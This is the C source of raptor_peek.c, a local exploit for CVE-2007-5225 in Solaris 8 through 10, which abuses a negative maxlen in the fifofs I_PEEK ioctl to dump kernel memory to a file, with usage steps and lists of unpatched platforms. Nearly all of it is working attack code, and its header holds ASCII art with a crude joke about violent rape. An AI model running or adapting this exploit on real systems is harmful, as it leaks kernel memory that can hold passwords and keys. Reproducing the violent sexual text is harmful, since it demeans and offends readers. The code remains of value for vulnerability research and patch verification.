* $Id: raptor_peek.c,v 1.1 2007/10/18 08:09:02 raptor Exp $
*
* raptor_peek.c - Solaris fifofs I_PEEK kernel memory leak
* Copyright (c) 2007 Marco Ivaldi
*
* [Lame] integer signedness error in FIFO filesystems (named pipes) on Sun
* Solaris 8 through 10 allows local users to read the contents of unspecified
* memory locations via a negative value to the I_PEEK ioctl (CVE-2007-5225).
*
*        /\   AS PART OF A VAST WORLD-WIDE CONSPIRACY              
*  hjm  /  \   I COMMAND THEE:  BEAT OFF UNTO ME                  
*      /,--.\                                                      
*     /< () >\   IF I SAY "FNORD" AT THE END OF A SENTENCE        
*    /  `--'  \   DOES THAT MAKE ME REALLY FUNNY OR SOMEONE        
*   /          \   WHO NEEDS TO GET FUCKING BEATEN TO NEAR        
*  /            \   DEATH AND THEN RAPED WITH A BROOM              
* /______________\                                                
*                  AS YOU CAN SEE THAT'S REALLY TWO JOKES IN ONE
*                   SO YOU REALLY GET YOUR MONEY'S WORTH HERE  
* Usage:
* $ gcc raptor_peek.c -o raptor_peek -Wall
* $ ./raptor_peek kerndump 666666
* [...]
* $ ls -l kerndump
* -rwx------   1 raptor   staff     666666 Oct 17 19:33 kerndump
*
* Vulnerable platforms (SPARC):
* Solaris 8 without patch 109454-06 [tested]
* Solaris 9 without patch 117471-04 [tested]
* Solaris 10 without patch 127737-01 [tested]
*
* Vulnerable platforms (x86):
* Solaris 8 without patch 109455-06 [untested]
* Solaris 9 without patch 117472-04 [untested]
* Solaris 10 without patch 127738-01 [untested]
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <stropts.h>
#include <unistd.h>
#include <sys/stat.h>

#define  INFO1  "raptor_peek.c - Solaris fifofs I_PEEK kernel memory leak"
#define  INFO2  "Copyright (c) 2007 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define  BADFIFO  "/tmp/fnord"
#define BUFSIZE 1000000

int   errno;

int main(int argc, char **argv)
{
  int     fd, fifo;
  size_t    out, bufsize = BUFSIZE;
  char    *buf;
  struct strpeek   peek;

  /* print exploit information */
  fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

  /* read command line */
  if (argc < 2) {
    fprintf(stderr, "usage: %s outfile [outsize]\n\n", argv[0]);
    exit(1);
  }
  if (argc > 2)
    if ((bufsize = atoi(argv[2])) == 0) {
      fprintf(stderr, "Error (atoi): invalid outsize\n");
      exit(1);
    }

  /* print some output */
  fprintf(stderr, "Using outfile\t: %s\n", argv[1]);
  fprintf(stderr, "Using outsize\t: %u\n\n", bufsize);

  /* prepare the output buffer */
  if ((buf = (char *)malloc(bufsize)) == NULL) {
    perror("Error (malloc)");
    fprintf(stderr, "Hint: Try again with a smaller output size\n");
    exit(1);
  }
  memset(buf, 0, bufsize);

  /* create the named pipe */
  unlink(BADFIFO);
  if (mknod(BADFIFO, S_IFIFO | S_IRWXU, 0) < 0) {
    perror("Error (mknod)");
    exit(1);
  }

  switch(fork()) {
  case -1:   /* cannot fork */
    perror("Error (fork)");
    exit(1);
  case 0:   /* the child writes */
    if ((fifo = open(BADFIFO, O_WRONLY, 0)) < 0) {
      perror("Error (open)");
      exit(1);
    }
    write(fifo, "FNORD", 5);
    exit(0);
  default:   /* the parent reads */
    /* FALL THROUGH */
    ;
  }

  /* perform the MAGICK */
  if ((fifo = open(BADFIFO, O_RDONLY, 0)) < 0) {
    perror("Error (open)");
    exit(1);
  }

  memset(&peek, 0, sizeof(peek));
  peek.databuf.buf = buf;
  peek.databuf.maxlen = -1; /* FNORD! */

  if (ioctl(fifo, I_PEEK, &peek) < 0 ) {
    perror("Error (ioctl)");
    close(fifo);
    exit(1);
  }

  /* save output to outfile */
  if ((fd = open(argv[1], O_RDWR | O_CREAT | O_TRUNC, 0700)) < 0) {
    perror("Error (open)");
    close(fifo);
    exit(1);
  }
  out = write(fd, buf, bufsize);

  fprintf(stderr, "FNORD! %u bytes written to %s\n", out, argv[1]);
  fprintf(stderr, "Hint: Try also with a bigger output size\n");

  /* cleanup (who cares about free?;) */
  close(fd);
  close(fifo);

  exit(0);
}
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